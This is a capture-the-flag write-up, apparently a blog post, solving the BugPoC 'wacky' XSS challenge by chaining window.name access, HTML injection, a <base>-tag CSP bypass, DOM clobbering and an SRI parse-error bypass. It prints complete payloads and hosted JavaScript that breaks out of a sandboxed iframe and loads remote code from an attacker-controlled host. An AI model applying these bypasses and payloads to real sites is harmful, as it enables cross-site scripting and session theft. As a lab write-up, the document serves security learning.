wacky
Published: 2020-11-10 04:03:12



**Objectives:**

1. You must `alert(origin)` showing `https://wacky.buggywebsite.com` 
2. You must **bypass CSP** 
3. It must be reproducible using the latest version of *Chrome* 
4. You must provide a working proof-of-concept on bugpoc.com 

**Summary:** 

Bypassed access restrictions to `/frame.html` which allowed me to inject and render `html`, bypassed `csp` using the `<base>` element to execute a remote javascript file, bypassed the integrity check and broke out of the iframe's sandbox to execute `alert(origin)` which was not possible due to the `sandbox` attribute given to the iframe we end up in.

Thank you for the challenge - hope everyone likes this writeup, there is a <a href="https://hackerone.com/reports/1026594" target="_blank">visualization for the exploits</a> you can check out after reading this.

### Exploit

bucpoc exploit: [jGQnU5oH](https://bugpoc.com/poc#bp-jGQnU5oH) (works on latest Chrome version)

bugpoc password: SociAlcRAne15

This is the [bugpoc.com](http://bugpoc.com) payload:

```html
<!-- Front-End BugPoC -->

<html>
	<!-- TODO implement -->
  <h1>NOTHING TO SEE HERE</h1>
</html>

<script>
window.open("https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cbase%20href=%27https://4d46opa6bb58.redir.bugpoc.ninja%27%3E%3Ca%20id=fileIntegrity%3E%3Ca%20id=fileIntegrity%20name=value%20href=nah%3E", "iframe")
</script>
```

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/jurx6lm4qrebnjg5qsqc.png)


# Technical Details

The following sections will walk through the technical details on each part of the challenge. Enjoy

- [initial foothold](#intro)
- [csp but make it vulnerable](#csp)
- [integrity || GTFO](#integrity-nah)
  - [bypass](#heard-you-like-backwards-compatibility)
- [it's clobberin time](#dom-clobbering)
- [the great escape](#iframe)
- [poc diy](#bugpoc)

### Initial foothold

The challenge is at [`https://wacky.buggywebsite.com/`](https://wacky.buggywebsite.com/) which loads an application that gets user input and turns it into "wacky text". This is implemented by loading an iframe from `/frame.html` which is where the code for turning the normal text into wacky text is located. It is also important to mention that this iframe has a sort of access control which "protects" it from being loaded directly from the browser: 

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/48wqprq182r38t1pnlg7.png)

Back in `/` we can see the html source and see the iframe being loaded correctly

```jsx
...
<div class="round-div">
	<span style="opacity:.5">Enter Boring Text:</span>
	<br>
	<textarea id="txt">Hello, World!</textarea>
	<div style="text-align: center;">
	<button id="btn">Make Whacky!</button>
	</div>
	<br>
	<iframe src="frame.html?param=Hello, World!" name="iframe" id="theIframe"></iframe>
</div>
...
```

The access control is implemented in the script loaded inside `/frame.html` . The code below shows the "verification" that determines if the iframe we are interested in can be loaded

```js
// this checks the window name before dynamically generating the iframe we need
if (window.name == 'iframe') {
			
	// securely load the frame analytics code
	// this just need to eval to true (the actual value doesn't matter)
	if (fileIntegrity.value) {
				
	// create a sandboxed iframe
	analyticsFrame = document.createElement('iframe');
	analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
	analyticsFrame.setAttribute('class', 'invisible');
	document.body.appendChild(analyticsFrame);
				
}
```

The script checks the `window.name` to see if it's called `iframe` and if it is - it continues execution, if the name does not match the iframe does not get created. This is interesting, since the `window.name` can be set when opening a window from an arbitrary domain using `window.open("https://evilwebsite.com", "nameforwindow")` , with this we should be able to open the `frame.html` 

```jsx
<html>
<!-- put this in a server you control -->
<body>
<!-- this will open the site given it the window.name='iframe' that we need -->
<script>window.open("https://wacky.buggywebsite.com/frame.html?param=hello", "iframe")</script>
</body>
</html>
```

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/y0ciwiksokdypd4gicrr.png)

Now that we have access to this file we can pass it what we want using the query string `param=somethig`. This is good for us since our input is going directly into the page, if you check where the input is being reflected you'll notice you can close the `<title>` tag using: `/frame.html?param=</title>` now everything after that will be valid html and we can continue to try to get our alert. 

### CSP

Even though html is injectable, all interesting elements get blocked because of the `CSP`

I use [https://csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com/) to see if there is anything interesting anytime I see a CSP policy (it helped that the challenge mentioned a CSP bypass)

`content-security-policy: script-src 'nonce-hafjcerljbyi' 'strict-dynamic'; frame-src 'self'; object-src 'none';`

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/74rz41lslt5zzi00uigd.png)

The one that stuck out was `base-uri [missing]` when looking at [MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/base-uri) we can see the following: 

- base-uri directive restricts the URLs which can be used in a document's <base> element. If this value is absent, then any URI is allowed. If this directive is absent, the user agent will use the value in the <base> element

Now let's look at the [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/base) page for the <base> element:

- Links pointing to a fragment in the document — e.g. `<a href="#some-id">` — are resolved with the `<base>`, triggering an HTTP request to the base URL with the fragment attached. For example:
1. Given `<base href="https://example.com">`
2. ...and this link: `<a href="#anchor">Anker</a>`
3. ...the link points to `https://example.com/#anchor`

Let's go back to the `/frame.html?parameter=</title>` and look for something interesting in the rendered html

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/pby1a1oufvvhj1net50n.png)

This iframe caught my eye because it gets built dynamically by:

```js
<script nonce="jllvokubhfmz">
	
		window.fileIntegrity = window.fileIntegrity || {
			'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
			'algorithm' : 'sha256',
			'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
			'creationtime' : 1602687229
		}
	
		// verify we are in an iframe
		if (window.name == 'iframe') {
			
			// securely load the frame analytics code
			if (fileIntegrity.value) {
				
				// create a sandboxed iframe
				analyticsFrame = document.createElement('iframe');
				analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
				analyticsFrame.setAttribute('class', 'invisible');
				document.body.appendChild(analyticsFrame);

				// securely add the analytics code into iframe
				script = document.createElement('script');
				script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
				script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
				script.setAttribute('crossorigin', 'anonymous');
				analyticsFrame.contentDocument.body.appendChild(script);
				
			}

		} else {
			document.body.innerHTML = `
			<h1>Error</h1>
			<h2>This page can only be viewed from an iframe.</h2>
			<video width="400" controls>
				<source src="movie.mp4" type="video/mp4">
			</video>`
		}
		
	</script>
```

The code above shows how the iframe and script are built, the one that's interesting is `script.setAttribute('src', 'files/analytics/js/frame-analytics.js');` which sets the `src` attribute, this path is relative, and how do relative paths determine where to resolve? `base-uri` which can be set by adding a `<base href='https://evildomain.com>` element:

- payload: `https://wacky.buggywebsite.com/frame.html?param=</title><base href="https://evildomain.com">`

This will allow us to include a file from an arbitrary domain we control - since after we inject our `<base>` element the file will actually be fetched from `https://evildomain.com/files/analytics/js/frame-analytics.js` giving us a way to inject arbitrary javascript. 

### Integrity - nah

Now that we know we can trick the application to load a file from a source we control, we can load our file and be done right? Unfortunately if we try to do this - the request will fail, this is because of the `integrity` attribute that's added in this line  `script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);` 

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/q8ksdztx1svdkyckd2us.png)

Before we go into how to get around that, let's see what this `integrity` thing is, from the [RFC](https://w3c.github.io/webappsec-subresource-integrity) provided by the source script

- An author wants to include JavaScript provided by a third-party analytics service. To ensure that only the code that has been carefully reviewed is executed, the author generates integrity metadata for the script, and adds it to the script element

This is what's happening here - the script that is being loaded doesn't pass the `integrity` check and fails to load, so this is where I was stuck for a while. 

The bypass here is to get the hash value to give us a parsing error, which is done by sending anything that isn't valid base64 as the `integrity` value, we also have to make sure we return the [ACAO](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin) header with `*` to fulfill the requirements from the RFC

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/1dp33j6gyzvf8m436vwq.png)

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/jwunhi6ya3dt9ts8on0w.png)

This allows us to get our script to load and execute.

### Heard you like backwards compatibility?

> This section explains the SRI bypass I found which allows me to use any script without having to provide a valid hash by producing a parser error. 

I was a bit confused here for a bit, even after solving the challenge. Why is the script still loaded? Why was I still getting a console error? I wanted answers. So I did some digging.

The error we get after clobbering the `fileIntegrity`(more on this later) object is a bit different, if you don't clobber the `fileIntegrity` object you get this error when trying to load the resource from your server:

`"Failed to find a valid digest in the 'integrity' attribute for resource '" + resourceUrl + "' with computed SHA-256 integrity '" + digest + "'. The resource has been blocked."`

Which blocks our source from being loaded.

But *after* you clobber the `fileIntegrity` object, the error simply says:

`Error parsing 'integrity' attribute ('" + attribute + "'). The digest must be a valid, base64-encoded value."` 

**And** our script *still* loads:
![Screen Shot 2020-11-11 at 8.15.36 AM](https://dev-to-uploads.s3.amazonaws.com/i/he9w992wfzfmp4tv0pe7.png)
 
That distinction[the difference in error message] makes all the difference, looking at how the parser error is generated from the source: [SubresourceIntegrity.cpp](https://chromium.googlesource.com/chromium/blink/+/master/Source/core/frame/SubresourceIntegrity.cpp#303)

![Screen Shot 2020-11-07 at 3.54.43 PM](https://dev-to-uploads.s3.amazonaws.com/i/q1vv9igm5eo0h2fokc8q.png)
 

The browser couldn't parse the hash value because it's not valid base64, by looking at which `if` statement causes the error we can see that in our case we do get the error message but our script is allowed in and execution continues, and by looking at the comments it's clear that the
reason why this happens is for *backwards compatibility*:

![code from chromium source, it explains how the if statement that gives us the parsing error works.](https://dev-to-uploads.s3.amazonaws.com/i/babxjd9mjkdf9cjaetki.png)

Here is a resource being blocked due to an integrity check:
![Screen Shot 2020-11-11 at 8.20.20 AM](https://dev-to-uploads.s3.amazonaws.com/i/0zv7a2vec14flh1caaq4.png)
 

Now how do we generate this parsing error?

Thanks [https://twitter.com/acut3hack](https://twitter.com/acut3hack) for the nudge for this next part. 

### DOM Clobbering

Let's do a recap of what has brought us here. 

- We can load an iframe that takes in user input un-sanitized `/frame.html?param=dirtydata`
    - achieved by using `window.open("domain", "windowname")`
- There is a `csp` in place
    - `csp` can be bypassed by injecting `<base href=https://evildomain.com>` with our current injection
    - The `<base>` element sets the domain for assets that come from relative paths(<script src='/hack.js'></script>)
- The `script` that is being dynamically built is now being loaded from `https://evildomain.com/files/analytics/js/frame-analytics.js`
    - This means we can control what's inside `frame-analytics.js`
- The file is being prevented from executing because of the integrity check 😢
    - The bypass involves changing the value of the hash to get a parsing error which will raise an error but allow the script to load
        - Currently the hash is stored in a global object `fileIntegrity.value`

The first interesting thing to notice is how the `integrity` attribute is being generated: 

```js
window.fileIntegrity = window.fileIntegrity || {
'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
'algorithm' : 'sha256',
'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
'creationtime' : 1602687229
}
...

script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
...
```

The value for the `integrity` attribute is stored in the `fileIntegrity.value` object which can be accessed globally. The browser works in mysterious ways...because we can use the `html` injection we currently have to "clobber" the value and replace with something we can control. 🤯

Because of how the browser treats elements with id attributes, we can "clobber" the `fileIntegrity` object and store arbitrary data in it, which means we can create our invalid sha256 hash which will produce the error we need

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/gfuu74bym8b2l9dcmz1u.png)

We can cause this almost mystical attack by using the following payload

`/frame.html?param=</title><base href="https://evildomain.com"><a id=fileIntegrity><a id=fileIntegrity name=value href=quack>`

That will allow us to completely reset the global object `fileIntegrity` and set the arbitrary value we need `fileIntegrity.value` so it can cause the parsing error, and the file we have hosted on `https://evildomain.com/files/analytics/js/frame-analytics.js` will actually get loaded and it will execute in our context.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/pdvdtfqikjk2rlu33r84.png)

### iframe

I went for it here - I hosted the file and used `alert(1)` and when I went to execute....nothing. 

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/anvf5g38e017g9o2v5yd.png)

Turns out the `sandbox` attribute that was added to the parent iframe prevents us from using any prompts like `alert prompt etc` by using this value `"allow-scripts allow-same-origin"` it will only allow us to execute scripts 😭  

On to [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) we go again to find the following:

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/z2mimin28qcgdwx7xl8q.png)

This is interesting - it shows that the attribute values we currently have can be misused and possibly lead to unexpected behavior. 

My first idea was to remove the attribute itself from the parent iframe by using the `script` we currently control, that means that the contents of my `frame-analytics.js` would have to:

1. Find the iframe that we are interested in
2. Remove sandbox attribute by using `Element.removeAttribute(attributeName)` 
3. Pop my alert and be on my way right?

In short - no, it's not that easy to trick the browser into letting us pop alerts, after you remove the attribute and it's values the browser will still complain that we aren't being safe and will fallback to that same `sandbox` and after some google-fu I stumbled onto this beautiful blogpost [https://danieldusek.com/escaping-improperly-sandboxed-iframes.html](https://danieldusek.com/escaping-improperly-sandboxed-iframes.html) which goes into more detail into what's going on. Since we can run js let's completely remove the "safe" iframe and replace it with a much nicer, trusting one. We'll also use the same trick to get a parsing error for the script we are going to use which will contain our final `alert`

```js
// find the iframe with the sandbox
var og = parent.document.getElementsByTagName('iframe')[0];
// create a nicer iframe :yay
var hack = document.createElement('iframe');
// append out nicer iframe to the body
parent.document.body.append(hack);
// remove the mean iframe
og.parentNode.removeChild(og)

// create a script tag
script = document.createElement('script');
// I used bugpocs mock endpoint & flexible redirector to also load this
// it only contais alert(origin)
script.setAttribute('src', 'https://gfeku9odpbh4.redir.bugpoc.ninja');
// integrity parser error so our script loads
script.setAttribute('integrity', 'sha256-http://evildomain.com/nah')
// cors settings
script.setAttribute('crossorigin', 'anonymous');
// add the script which will pop our alert 
hack.contentDocument.body.appendChild(script);

```

This right here does the job, it accomplishes all the requirements above and allows us to execute our alert with no restrictions.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/iay9zztpcqnjj54no5ya.png)

### BugPoc

Initially this was made using aws, but when solving it, I got this:

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/iexmqe98m1e9v4jycfik.png)

And it made me want to do it, so here I'll explain how I achieved this.

Using [bugpoc's mock endpoint](https://bugpoc.com/testers/other/mock) I created an endpoint that would load the initial script needed:

```js
https://mock.bugpoc.ninja/blahhh/m?sig=e186e17016d4331acbb13ee8f399ff0b8d53bdeb4ca6d84f039a499a6e8d240e
&statusCode=200&headers={"Access-Control-Allow-Origin":"*","Content-Type":"application/javascript"}
&body=
var og = parent.document.getElementsByTagName('iframe')[0];
var hack = document.createElement('iframe');

parent.document.body.append(hack);
og.parentNode.removeChild(og)

script = document.createElement('script');
script.setAttribute('src', 'https://blahhh.redir.bugpoc.ninja');
script.setAttribute('integrity', 'sha256-http://evildomain.com/nah')
script.setAttribute('crossorigin', 'anonymous');
hack.contentDocument.body.appendChild(script);
```

Then I used the [Flexible Redirector](https://bugpoc.com/testers/other/redir) to create a redirect that would load this when it got hit from:

`https://blahh.redir.bugpoc.ninja/files/analytics/js/frame-analytics.js`

The next step is generating the script that will load the `alert(origin)` that will eventually pop without any restrictions, using the fact that generating a parser error will allow us to load any file regardless of it's hash we can load a script with the alert we need. 

Create another endpoint like this

```js
https://mock.bugpoc.ninja/blahh/m?sig=2ab43ab3a0ed597f35060df005eaab7f38ecc167799ac3b853362fc8624953cc&statusCode=200&
headers={"Access-Control-Allow-Origin":"*","Content-Type":"application/javascript"}&
body=alert(origin)
```

And create a flexible redirect to this that will load the script:

`script.setAttribute('src', 'https://blahhh.redir.bugpoc.ninja');`

Tying all that together you can then create a PoC and add the payload:

bucpoc exploit: [jGQnU5oH](https://bugpoc.com/poc#bp-jGQnU5oH) (works on latest Chrome version)

bugpoc password: SociAlcRAne15

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/72r5m3ny5oarrti9ub6e.png)

That creates a PoC entirely using [bugpoc.com](http://bugpoc.com) which is honestly pretty cool. 

Thanks for the challenge!

### Resources

[https://google.com](https://google.com)

[https://www.acunetix.com/blog/articles/finding-source-dom-based-xss-vulnerability-acunetix-wvs/](https://www.acunetix.com/blog/articles/finding-source-dom-based-xss-vulnerability-acunetix-wvs/)

[https://danieldusek.com/escaping-improperly-sandboxed-iframes.html](https://danieldusek.com/escaping-improperly-sandboxed-iframes.html)

[https://report-uri.com/home/sri_hash](https://report-uri.com/home/sri_hash)

[https://portswigger.net/research/dom-clobbering-strikes-back](https://portswigger.net/research/dom-clobbering-strikes-back)

[https://developer.mozilla.org](https://developer.mozilla.org/)

[https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/)

[https://medium.com/@terjanq/dom-clobbering-techniques-8443547ebe94](https://medium.com/@terjanq/dom-clobbering-techniques-8443547ebe94)!